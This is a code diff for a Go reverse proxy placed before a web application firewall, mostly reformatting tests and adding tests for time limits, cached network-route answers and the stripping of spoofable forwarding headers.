 		t.Errorf("%d queries after the answer expired, want 2", got)
 	}
 }
+
+func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
+	t.Parallel()
+
+	f := newFixture(t, answering(routedAnswer))
+
+	f.route()
+	f.waitFor("")
+
+	want := []routewatch.Answer{{
+		Client:   netip.MustParsePrefix(clientAddr + "/32"),
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
+		Answered: f.clk.Now(),
+	}}
+	if got := f.client.Snapshot(); !slices.Equal(got, want) {
+		t.Errorf("snapshot %+v, want %+v", got, want)
+	}
+
+	f.clk.advance(time.Hour)
+
+	if got := f.client.Snapshot(); len(got) != 0 {
+		t.Errorf("snapshot %+v an hour after the answer, want none", got)
+	}
+}
+
+func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
+	t.Parallel()
+
+	f := newFixture(t, answering(routedAnswer))
+	now := f.clk.Now()
+	kept := routewatch.Answer{
+		Client:   netip.MustParsePrefix(clientAddr + "/32"),
+		Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
+		Answered: now.Add(-time.Hour + time.Second),
+	}
+	stale := routewatch.Answer{
+		Client:   netip.MustParsePrefix("192.0.2.2/32"),
+		Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
+		Answered: now.Add(-time.Hour),
+	}
+
+	f.client.Load([]routewatch.Answer{kept, stale})
+
+	if got := f.client.Snapshot(); !slices.Equal(
+		got,
+		[]routewatch.Answer{kept},
+	) {
+		t.Errorf(
+			"kept %+v, want only the answer that came less than an hour ago",
+			got,
+		)
+	}
+
+	route, missing := f.route()
+
+	want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
+	if route != want || missing != "" {
+		t.Errorf("route %+v (%q), want %+v", route, missing, want)
+	}
+
+	if got := f.queries.Load(); got != 0 {
+		t.Errorf(
+			"%d queries for a client with an answer loaded, want none",
+			got,
+		)
+	}
+}
+
+func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
+	t.Parallel()
+
+	const maxAnswers = 100000
+
+	f := newFixture(t, answering(routedAnswer))
+	now := f.clk.Now()
+
+	// routewatch.json lists the answers by client. Here each came a
+	// millisecond before the one listed before it, so the last listed is
+	// the one that came longest ago, and the one dropped.
+	answers := make([]routewatch.Answer, maxAnswers+1)
+	addr := netip.MustParseAddr("10.0.0.0")
+
+	for i := range answers {
+		answers[i] = routewatch.Answer{
+			Client:   netip.PrefixFrom(addr, addr.BitLen()),
+			Answered: now.Add(-time.Duration(i) * time.Millisecond),
+		}
+		addr = addr.Next()
+	}
+
+	f.client.Load(answers)
+
+	got := f.client.Snapshot()
+	if len(got) != maxAnswers {
+		t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
+	}
+
+	if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
+		t.Errorf(
+			"answers kept from %s to %s, want from %s to %s",
+			got[0].Client,
+			got[maxAnswers-1].Client,
+			answers[0].Client,
+			answers[maxAnswers-1].Client,
+		)
+	}
+}

internal/rproxy/bodies.go

@@ -203,7 +203,8 @@ func (w *responseWriter) Write(p []byte) (int, error) {
 		w.status = http.StatusOK
 	}
 
-	n, err := w.ResponseWriter.Write(p) //nolint:gosec // the answer, as it was given
+	//nolint:gosec // the answer, as it was given
+	n, err := w.ResponseWriter.Write(p)
 	w.bytes += int64(n)
 
 	return n, err
@@ -218,7 +219,8 @@ func (w *responseWriter) FlushError() error {
 // Hijack takes over the connection to the visitor, which ReverseProxy does only
 // to pass on the app's 101 Switching Protocols: that is then the status sent.
 func (w *responseWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) {
-	conn, buffered, err := http.NewResponseController(w.ResponseWriter).Hijack()
+	conn, buffered, err := http.NewResponseController(w.ResponseWriter).
+		Hijack()
 	if err == nil {
 		w.status = http.StatusSwitchingProtocols
 	}

internal/rproxy/client.go

@@ -83,7 +83,11 @@ func isInside(addr netip.Addr, netblocks []netip.Prefix) bool {
 // X-Forwarded-For. Those of any other peer are its own claims and are replaced:
 // X-Forwarded-For names the peer, X-Forwarded-Host the host it asked for, and
 // X-Forwarded-Proto plain http, which is how it reached rproxy.
-func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
+func setForwardedHeaders(
+	in, out *http.Request,
+	peer netip.Addr,
+	trusted bool,
+) {
 	forwardedFor := peer.String()
 
 	if trusted {
@@ -105,15 +109,14 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
 		return
 	}
 
-	// ReverseProxy has removed Forwarded and the three set below; these are the
+	// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
-	// other headers in which traefik tells the app about the visitor and its
+	// a name is matched with each _ read as - and in any letter case.
-	// request.
+	for name := range out.Header {
-	for _, name := range []string{
+		spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
-		"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
+		if strings.HasPrefix(spelt, "x-forwarded-") ||
-		"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
+			spelt == "forwarded" || spelt == "x-real-ip" {
-		"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
+			delete(out.Header, name)
-	} {
+		}
-		out.Header.Del(name)
 	}
 
 	out.Header.Set("X-Forwarded-For", forwardedFor)

internal/rproxy/limits_test.go

@@ -34,13 +34,15 @@ func announcedLength(size int) string {
 func TestServerHasTheFixedLimits(t *testing.T) {
 	t.Parallel()
 
-	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
+	cfg, err := config.RProxyFromEnvironment(
-		if name == "SWRP_WAF_BACKEND" {
+		func(name string) (string, bool) {
-			return nowhere, true
+			if name == "SWRP_WAF_BACKEND" {
-		}
+				return nowhere, true
+			}
 
-		return "", false
+			return "", false
-	})
+		},
+	)
 	if err != nil {
 		t.Fatalf("settings: %v", err)
 	}
@@ -48,14 +50,23 @@ func TestServerHasTheFixedLimits(t *testing.T) {
 	server := rproxy.New(rproxy.Params{
 		Config:     cfg,
 		RequestLog: io.Discard,
-		ProcessLog: requestlog.NewProcessLogger(io.Discard, "test", slog.LevelInfo),
+		ProcessLog: requestlog.NewProcessLogger(
+			io.Discard,
+			"test",
+			slog.LevelInfo,
+		),
 	})
 
 	if server.Addr != ":8080" || server.MaxHeaderBytes != 28<<10 ||
 		server.IdleTimeout != 2*time.Minute || server.ReadHeaderTimeout != time.Minute {
-		t.Errorf("server listens on %q with header limit %d, idle time %s and "+
+		t.Errorf(
-			"header timeout %s", server.Addr, server.MaxHeaderBytes,
+			"server listens on %q with header limit %d, idle time %s and "+
-			server.IdleTimeout, server.ReadHeaderTimeout)
+				"header timeout %s",
+			server.Addr,
+			server.MaxHeaderBytes,
+			server.IdleTimeout,
+			server.ReadHeaderTimeout,
+		)
 	}
 }
 
@@ -76,9 +87,14 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, _ := startRProxy(
-				maxRequestSize: tc.limit,
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestSize: tc.limit,
+				},
+			)
 
 			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
 				bytes.NewReader(make([]byte, tc.size))))
@@ -87,7 +103,11 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 			}
 
 			if asked := standIn.question(t); len(asked.body) != tc.asked {
-				t.Errorf("the question carries %d bytes, want %d", len(asked.body), tc.asked)
+				t.Errorf(
+					"the question carries %d bytes, want %d",
+					len(asked.body),
+					tc.asked,
+				)
 			}
 
 			report := standIn.report(t)
@@ -138,13 +158,21 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 				asked.Store(true)
 				greet(w, r)
 			})
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, _ := startRProxy(
-				maxRequestSize: tc.limit,
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestSize: tc.limit,
+				},
+			)
 
 			conn := dial(t, addr)
 			send(t, conn, post+"Transfer-Encoding: chunked\r\n\r\n"+
-				strconv.FormatInt(int64(tc.size), 16)+"\r\n"+strings.Repeat("x", tc.size)+
+				strconv.FormatInt(
+					int64(tc.size),
+					16,
+				)+"\r\n"+strings.Repeat("x", tc.size)+
 				"\r\n0\r\n\r\n")
 
 			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
@@ -203,17 +231,26 @@ func TestAResponseOverItsLimit(t *testing.T) {
 
 		text, err := io.ReadAll(conn)
 		if err != nil || bytes.Contains(text, []byte(large)) {
-			t.Errorf("read %d bytes (%v), want the answer cut off", len(text), err)
+			t.Errorf(
+				"read %d bytes (%v), want the answer cut off",
+				len(text),
+				err,
+			)
 		}
 
 		report := standIn.report(t)
 		if report.Status != http.StatusOK || report.ResponseBytes > 1<<10 {
-			t.Errorf("report %+v, want status 200 and at most 1K of the answer", report)
+			t.Errorf(
+				"report %+v, want status 200 and at most 1K of the answer",
+				report,
+			)
 		}
 	})
 }
 
-func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.T) {
+func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const announced = "2048"
@@ -227,8 +264,13 @@ func TestAHeadWhoseAnswerAnnouncesMoreThanTheResponseLimitIsPassedOn(t *testing.
 	})
 
 	got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
-	if got.status != http.StatusOK || got.header.Get(contentLengthHeader) != announced {
+	if got.status != http.StatusOK ||
-		t.Errorf("answered %+v, want the app's 200 announcing %s bytes", got, announced)
+		got.header.Get(contentLengthHeader) != announced {
+		t.Errorf(
+			"answered %+v, want the app's 200 announcing %s bytes",
+			got,
+			announced,
+		)
 	}
 }
 
@@ -243,14 +285,22 @@ func TestASettingOfOffSetsNoLimit(t *testing.T) {
 
 			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, _ := startRProxy(
-				setting: "off",
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					setting: "off",
+				},
+			)
 
 			// A body and an answer that a limit of zero would cut off, as it would the
 			// next answer, which rproxy gives itself.
-			wantGreeting(t, visit(t, newRequest(t, http.MethodPost, addr, "/",
+			wantGreeting(
-				strings.NewReader("a body"))))
+				t,
+				visit(t, newRequest(t, http.MethodPost, addr, "/",
+					strings.NewReader("a body"))),
+			)
 
 			if got := get(t, addr, waf.HealthPath); got.status != http.StatusOK {
 				t.Errorf("answered %+v, want rproxy's own 200", got)
@@ -273,9 +323,14 @@ func TestAVisitorTooSlowToSendTheFirstPartIsAnswered408(t *testing.T) {
 
 			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, out := startRProxy(
-				maxRequestTime: "500",
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestTime: "500",
+				},
+			)
 
 			conn := dial(t, addr)
 			send(t, conn, post+tc.rest)
@@ -319,7 +374,9 @@ func TestAVisitorThatGoesAwayBeforeTheFirstPartIsNotAsked(t *testing.T) {
 	}
 }
 
-func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
+func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -356,8 +413,11 @@ func TestABodyThatCannotBeReadClosesTheConnectionWithoutAnAnswer(t *testing.T) {
 
 			text, err := io.ReadAll(conn)
 			if err != nil || len(text) != 0 {
-				t.Errorf("read %q (%v), want the connection closed without an answer",
+				t.Errorf(
-					text, err)
+					"read %q (%v), want the connection closed without an answer",
+					text,
+					err,
+				)
 			}
 
 			line := out.requestLine(t)
@@ -382,13 +442,28 @@ type deadlineRecorder struct {
 	// stalled, if set, sends the part of the request body that never arrives. A
 	// read deadline that has passed ends a read of it, as on a connection.
 	stalled *io.PipeWriter
+	// flushError, if set, is what every flush returns, and nothing is flushed.
+	flushError error
+}
+
+// FlushError, which http.ResponseController calls to flush, returns flushError
+// if it is set, and otherwise flushes.
+func (w *deadlineRecorder) FlushError() error {
+	if w.flushError != nil {
+		return w.flushError
+	}
+
+	w.Flush()
+
+	return nil
 }
 
 // SetReadDeadline notes deadline.
 func (w *deadlineRecorder) SetReadDeadline(deadline time.Time) error {
 	w.readDeadline = deadline
 
-	if w.stalled != nil && !deadline.IsZero() && !deadline.After(time.Now()) {
+	if w.stalled != nil && !deadline.IsZero() &&
+		!deadline.After(time.Now()) {
 		_ = w.stalled.CloseWithError(os.ErrDeadlineExceeded)
 	}
 
@@ -425,12 +500,22 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 
 	t.Cleanup(func() { _ = stop.Close() })
 
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
+	req := httptest.NewRequestWithContext(
-		io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
+		t.Context(),
+		http.MethodPost,
+		"/",
+		io.MultiReader(
+			bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
+			stalled,
+		),
+	)
 	req.ContentLength = announced
 	req.Header.Set(contentLengthHeader, strconv.Itoa(announced))
 
-	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder(), stalled: stop}
+	w := &deadlineRecorder{
+		ResponseRecorder: httptest.NewRecorder(),
+		stalled:          stop,
+	}
 
 	before := time.Now()
 
@@ -442,8 +527,62 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
 
 	if w.readDeadline.Before(before.Add(limit)) ||
 		w.readDeadline.After(time.Now().Add(limit)) {
-		t.Errorf("the reading of the body ends at %s, want %s from the request",
+		t.Errorf(
-			w.readDeadline, limit)
+			"the reading of the body ends at %s, want %s from the request",
+			w.readDeadline,
+			limit,
+		)
+	}
+}
+
+func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	standIn := startWAF(t, allow)
+	app := startApp(t, answerBeforeTheBody)
+	_, _, server := startServer(t, standIn.URL, app.URL, nil)
+
+	// The visitor sends the first part and a little more, and then nothing.
+	stalled, stop := io.Pipe()
+
+	t.Cleanup(func() { _ = stop.Close() })
+
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodPost,
+		"/",
+		io.MultiReader(
+			bytes.NewReader(make([]byte, questionBodyMaxBytes+1)),
+			stalled,
+		),
+	)
+	req.ContentLength = 2 * questionBodyMaxBytes
+	req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
+
+	// Every flush fails, as once the time to send the answer has run out. The
+	// default time limits are far longer than the test, so rproxy records no
+	// refusal.
+	w := &deadlineRecorder{
+		ResponseRecorder: httptest.NewRecorder(),
+		stalled:          stop,
+		flushError:       os.ErrDeadlineExceeded,
+	}
+
+	before := time.Now()
+
+	server.Handler.ServeHTTP(w, req)
+
+	if w.Code != http.StatusOK {
+		t.Errorf("status %d, want the app's 200", w.Code)
+	}
+
+	if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
+		t.Errorf(
+			"the reading of the body ends at %s, want now",
+			w.readDeadline,
+		)
 	}
 }
 
@@ -464,12 +603,24 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
 
 			standIn := startWAF(t, deny)
 			app := startApp(t, greet)
-			_, _, server := startServer(t, standIn.URL, app.URL, map[string]string{
+			_, _, server := startServer(
-				maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxResponseTime: strconv.FormatInt(
+						limit.Milliseconds(),
+						10,
+					),
+				},
+			)
 
-			req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, tc.target,
+			req := httptest.NewRequestWithContext(
-				http.NoBody)
+				t.Context(),
+				http.MethodGet,
+				tc.target,
+				http.NoBody,
+			)
 			w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
 
 			before := time.Now()
@@ -482,14 +633,19 @@ func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
 
 			if w.writeDeadline.Before(before.Add(limit)) ||
 				w.writeDeadline.After(time.Now().Add(limit)) {
-				t.Errorf("the time limit on sending ends at %s, want %s from the answer",
+				t.Errorf(
-					w.writeDeadline, limit)
+					"the time limit on sending ends at %s, want %s from the answer",
+					w.writeDeadline,
+					limit,
+				)
 			}
 		})
 	}
 }
 
-func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
+func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const least = 10 * time.Second
@@ -500,7 +656,12 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
 		maxResponseTime: "300",
 	})
 
-	req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
+	req := httptest.NewRequestWithContext(
+		t.Context(),
+		http.MethodGet,
+		"/",
+		http.NoBody,
+	)
 	w := &deadlineRecorder{ResponseRecorder: httptest.NewRecorder()}
 
 	before := time.Now()
@@ -508,8 +669,11 @@ func TestAnAnswerRProxyGivesItselfHasTenSecondsToBeSentAtLeast(t *testing.T) {
 	server.Handler.ServeHTTP(w, req)
 
 	if w.writeDeadline.Before(before.Add(least)) {
-		t.Errorf("the time limit on sending ends at %s, want %s from the answer at least",
+		t.Errorf(
-			w.writeDeadline, least)
+			"the time limit on sending ends at %s, want %s from the answer at least",
+			w.writeDeadline,
+			least,
+		)
 	}
 }
 
@@ -530,7 +694,9 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 		t.Errorf("status %d, want 408", status)
 	}
 
-	if asked := standIn.question(t); len(asked.body) != questionBodyMaxBytes {
+	if asked := standIn.question(t); len(
+		asked.body,
+	) != questionBodyMaxBytes {
 		t.Errorf("the question carries %d bytes", len(asked.body))
 	}
 
@@ -544,7 +710,11 @@ func TestAVisitorTooSlowToSendTheRestIsAnswered408(t *testing.T) {
 func startAppThatTakesNothing(t *testing.T) string {
 	t.Helper()
 
-	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	listener, err := (&net.ListenConfig{}).Listen(
+		t.Context(),
+		"tcp",
+		localhost+":0",
+	)
 	if err != nil {
 		t.Fatalf("listen: %v", err)
 	}
@@ -633,7 +803,9 @@ func TestAnAppTooSlowToAnswerIsAnswered504(t *testing.T) {
 	}
 }
 
-func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(t *testing.T) {
+func TestAVisitorGetsAnAnswerWhenTheAppAnswersAsTheTimeRunsOut(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	// Four visitors at a time, each with an app and rproxy of its own, send more
@@ -732,8 +904,13 @@ func TestAnAppTooSlowToFinishItsAnswerIsCutOff(t *testing.T) {
 
 	if res.StatusCode != http.StatusOK || string(body) != start ||
 		!errors.Is(err, io.ErrUnexpectedEOF) {
-		t.Errorf("answered %d %q (%v), want the app's 200 %q, then the connection closed",
+		t.Errorf(
-			res.StatusCode, body, err, start)
+			"answered %d %q (%v), want the app's 200 %q, then the connection closed",
+			res.StatusCode,
+			body,
+			err,
+			start,
+		)
 	}
 
 	if report := standIn.report(t); report.Status != http.StatusOK {
@@ -774,13 +951,17 @@ func TestAVisitorTooSlowToTakeTheAnswerIsCutOff(t *testing.T) {
 	line := out.requestLine(t)
 
 	responseBytes, _ := line["response_bytes"].(float64)
-	if line["status"] != float64(http.StatusOK) || responseBytes >= bodySize {
+	if line["status"] != float64(http.StatusOK) ||
+		responseBytes >= bodySize {
 		t.Errorf("line %v, want status 200 and the answer cut off", line)
 	}
 
 	report := standIn.report(t)
 	if report.Status != http.StatusOK || report.ResponseBytes >= bodySize {
-		t.Errorf("report %+v, want status 200 and the answer cut off", report)
+		t.Errorf(
+			"report %+v, want status 200 and the answer cut off",
+			report,
+		)
 	}
 }
 
@@ -800,15 +981,19 @@ func TestAnAppThatCannotBeReachedIsAnswered502WithAReport(t *testing.T) {
 	}
 }
 
-func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.T) {
+func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	standIn := startWAF(t, allow)
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		_, _ = io.WriteString(w, greeting)
 	})
+	// The request time limit is far longer than dial's deadline, so that a busy
+	// host cannot use it up before the app's answer arrives.
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		maxRequestTime: "3000",
+		maxRequestTime: "120000",
 	})
 
 	// Far more announced than sent, so that Go's server answers for the app
@@ -869,11 +1054,11 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
 
 	standIn := startWAF(t, allow)
 	app := startApp(t, answerBeforeTheBody)
-	// The request time limit is longer than the 10 seconds the status and headers
+	// Both time limits are far longer than dial's deadline, so that the answer
-	// of an answer have to be sent, and than dial's deadline.
+	// has to come before either runs out, and a busy host cannot use them up.
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		maxRequestTime:  "15000",
+		maxRequestTime:  "120000",
-		maxResponseTime: "300",
+		maxResponseTime: "60000",
 	})
 
 	conn := dial(t, addr)
@@ -882,7 +1067,9 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
 	wantGreeting(t, readAnswer(t, conn))
 }
 
-func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.T) {
+func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const limit = 2 * time.Second
@@ -906,7 +1093,96 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.
 	}
 
 	if closed := time.Since(start); closed < limit {
-		t.Errorf("the connection closed after %s, want %s at least", closed, limit)
+		t.Errorf(
+			"the connection closed after %s, want %s at least",
+			closed,
+			limit,
+		)
+	}
+}
+
+func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOff(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	// rproxy passes on a part sent at once well within this limit, even on a busy
+	// host.
+	const limit = 2 * time.Second
+
+	// The app sends the parts in atOnce with its status and headers. It sends the
+	// parts in late only once rproxy has ended the request to it, which rproxy
+	// does when it cuts off the answer, so that those never reach the visitor.
+	for _, tc := range []struct {
+		name         string
+		atOnce, late []string
+	}{
+		{"with the body in one part", nil, []string{greeting}},
+		{"with the body in two parts", []string{greeting[:5]}, []string{greeting[5:]}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			standIn := startWAF(t, allow)
+			app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
+				rc := http.NewResponseController(w)
+				_ = rc.EnableFullDuplex()
+
+				w.Header().
+					Set(contentLengthHeader, strconv.Itoa(len(greeting)))
+
+				for _, part := range tc.atOnce {
+					_, _ = io.WriteString(w, part)
+				}
+
+				_ = rc.Flush()
+
+				// The request's body ends when rproxy ends the request to the app.
+				_, _ = io.Copy(io.Discard, r.Body)
+
+				for _, part := range tc.late {
+					_, _ = io.WriteString(w, part)
+					_ = rc.Flush()
+				}
+			})
+
+			// The request time limit is far longer than dial's deadline.
+			addr, _ := startRProxy(
+				t,
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					maxRequestTime: "120000",
+					maxResponseTime: strconv.FormatInt(
+						limit.Milliseconds(),
+						10,
+					),
+				},
+			)
+
+			conn := dial(t, addr)
+			sendAllButALittle(t, conn)
+
+			res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+			if err != nil {
+				t.Fatalf("read the answer: %v", err)
+			}
+
+			// If the connection stays open, dial's deadline ends this read with a
+			// timeout.
+			body, err := io.ReadAll(res.Body)
+			_ = res.Body.Close()
+
+			want := strings.Join(tc.atOnce, "")
+			if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
+				t.Errorf(
+					"read %q (%v), want %q and the connection closed",
+					body,
+					err,
+					want,
+				)
+			}
+		})
 	}
 }
 
@@ -942,7 +1218,11 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 
 	text, err := io.ReadAll(conn)
 	if err != nil || len(text) != 0 {
-		t.Errorf("read %q (%v), want the connection closed without an answer", text, err)
+		t.Errorf(
+			"read %q (%v), want the connection closed without an answer",
+			text,
+			err,
+		)
 	}
 
 	if line := out.requestLine(t); line["status"] != 0.0 {
@@ -950,7 +1230,9 @@ func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
 	}
 }
 
-func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing.T) {
+func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	const answer = "the end of a long answer"
@@ -968,13 +1250,28 @@ func TestTheRequestTimeLimitDoesNotCutAnAnswerOnceTheAppHasTheRequest(t *testing
 		maxRequestTime: "2000",
 	})
 
-	got := visit(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")))
+	got := visit(
+		t,
+		newRequest(
+			t,
+			http.MethodPost,
+			addr,
+			"/",
+			strings.NewReader("a body"),
+		),
+	)
 	if got.status != http.StatusOK || got.body != answer {
-		t.Errorf("answered %d %q, want the app's whole answer", got.status, got.body)
+		t.Errorf(
+			"answered %d %q, want the app's whole answer",
+			got.status,
+			got.body,
+		)
 	}
 }
 
-func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T) {
+func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(
+	t *testing.T,
+) {
 	t.Parallel()
 
 	for _, tc := range []struct {
@@ -995,10 +1292,15 @@ func TestAVisitorThatStopsALittleShortGetsAnAnswerRProxyGivesAtOnce(t *testing.T
 			app := startApp(t, greet)
 			// The request time limit is longer than the 10 seconds an answer rproxy
 			// gives itself has to be sent, and than dial's deadline.
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, _ := startRProxy(
-				maxRequestTime:  "15000",
+				t,
-				maxResponseTime: "300",
+				standIn.URL,
-			})
+				app.URL,
+				map[string]string{
+					maxRequestTime:  "15000",
+					maxResponseTime: "300",
+				},
+			)
 
 			// The body stops 100 bytes short, less than Go's server reads of a body
 			// left unread before it answers.

internal/rproxy/question_test.go

@@ -54,7 +54,12 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	asked := standIn.question(t)
 	if asked.method != http.MethodDelete || asked.target != target ||
 		asked.host != site {
-		t.Errorf("asked about %s %s at %s", asked.method, asked.target, asked.host)
+		t.Errorf(
+			"asked about %s %s at %s",
+			asked.method,
+			asked.target,
+			asked.host,
+		)
 	}
 
 	if asked.header.Get(requestIDHeader) == "the-visitor's" {
@@ -72,7 +77,11 @@ func TestQuestionIsTheVisitorsRequestWithRProxysHeaders(t *testing.T) {
 	want.Set(waf.PeerHeader, localhost)
 
 	if !maps.EqualFunc(asked.header, want, slices.Equal) {
-		t.Errorf("the question's headers are %v, want %v", asked.header, want)
+		t.Errorf(
+			"the question's headers are %v, want %v",
+			asked.header,
+			want,
+		)
 	}
 }
 
@@ -100,9 +109,14 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 
 				greet(w, r)
 			})
-			addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, out := startRProxy(
-				trustedProxies: tc.trusted,
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					trustedProxies: tc.trusted,
+				},
+			)
 
 			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 			req.Header.Set(forwardedForHeader, visitor)
@@ -122,7 +136,12 @@ func TestQuestionNamesTheVisitorATrustedProxySpeaksFor(t *testing.T) {
 			}
 
 			if got := (<-forwarded).Get(forwardedForHeader); got != tc.forwarded {
-				t.Errorf("the app saw %s %q, want %q", forwardedForHeader, got, tc.forwarded)
+				t.Errorf(
+					"the app saw %s %q, want %q",
+					forwardedForHeader,
+					got,
+					tc.forwarded,
+				)
 			}
 		})
 	}
@@ -159,9 +178,14 @@ func TestQuestionNamesTheClientAsTheForwardedAddressesSay(t *testing.T) {
 
 			standIn := startWAF(t, allow)
 			app := startApp(t, greet)
-			addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
+			addr, _ := startRProxy(
-				trustedProxies: localhost + "/32,10.0.0.0/8",
+				t,
-			})
+				standIn.URL,
+				app.URL,
+				map[string]string{
+					trustedProxies: localhost + "/32,10.0.0.0/8",
+				},
+			)
 
 			req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
 			req.Header[forwardedForHeader] = tc.header
